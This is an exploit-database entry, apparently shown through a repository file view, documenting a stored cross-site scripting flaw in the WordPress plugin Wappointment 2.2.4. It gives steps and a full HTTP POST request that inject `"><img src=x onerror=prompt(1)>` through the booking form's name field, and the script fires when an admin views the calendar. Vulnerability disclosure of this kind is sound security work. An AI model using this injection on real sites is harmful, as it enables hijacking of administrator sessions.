b104992c7d
7 changes to exploits/shellcodes Ether_MP3_CD_Burner 1.3.8 - Buffer Overflow (SEH) Cyberfox Web Browser 52.9.1 - Denial-of-Service (PoC) XAMPP 7.4.3 - Local Privilege Escalation Cisco small business RV130W 1.0.3.44 - Inject Counterfeit Routers WordPress Plugin Wappointment 2.2.4 - Stored Cross-Site Scripting (XSS) Library System 1.0 - 'student_id' SQL injection (Authenticated)
32 lines
No EOL
1.6 KiB
Text
32 lines
No EOL
1.6 KiB
Text
# Exploit Title: WordPress Plugin Wappointment 2.2.4 - Stored Cross-Site Scripting (XSS)
|
|
# Date: 2021-07-31
|
|
# Exploit Author: Renos Nikolaou
|
|
# Software Link: https://downloads.wordpress.org/plugin/wappointment.2.2.4.zip
|
|
# Version: 2.2.4
|
|
# Tested on: Windows
|
|
# Description : Wappointment is prone to Stored Cross Site Scripting vulnerabilities
|
|
# because it fails to properly sanitize user-supplied input.
|
|
|
|
# PoC - Stored XSS - Parameter: name
|
|
# 1) Open Wappointment Plugin or Visit booking-page http://localhost/booking-page
|
|
# 2) Click on any available delivery modality (By Phone, At a Location, Video Meeting or By Skype)
|
|
# 3) Select Date and Time, write your email address, your phone number and in the Full Name field type: testname"><img src=x onerror=prompt(1)>
|
|
# 4) Click Confirm
|
|
# 5) Login as admin to wp-admin portal, Go to Wappointment --> Calendar ( http://localhost/wordpress/wp-admin/admin.php?page=wappointment_calendar )
|
|
|
|
|
|
# Post Request (Step 4):
|
|
|
|
POST /wordpress/wp-json/wappointment/v1/services/booking HTTP/1.1
|
|
Host: domain.com
|
|
Content-Length: 205
|
|
Accept: application/json, text/plain, */*
|
|
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:52.0) Gecko/20100101 Firefox/52.0
|
|
Content-Type: application/json
|
|
Origin: http://domain.com
|
|
Referer: http://domain.com/wordpress/booking-page/
|
|
Accept-Encoding: gzip, deflate
|
|
Accept-Language: en-US,en;q=0.9
|
|
Connection: close
|
|
|
|
{"email":"testemail@testemail.com","name":"testname\"><img src=x onerror=prompt(1)>","phone":"+00 00 000000","time":1630666800,"ctz":"Europe/Bucharest","service":1,"location":3,"duration":90,"staff_id":2} |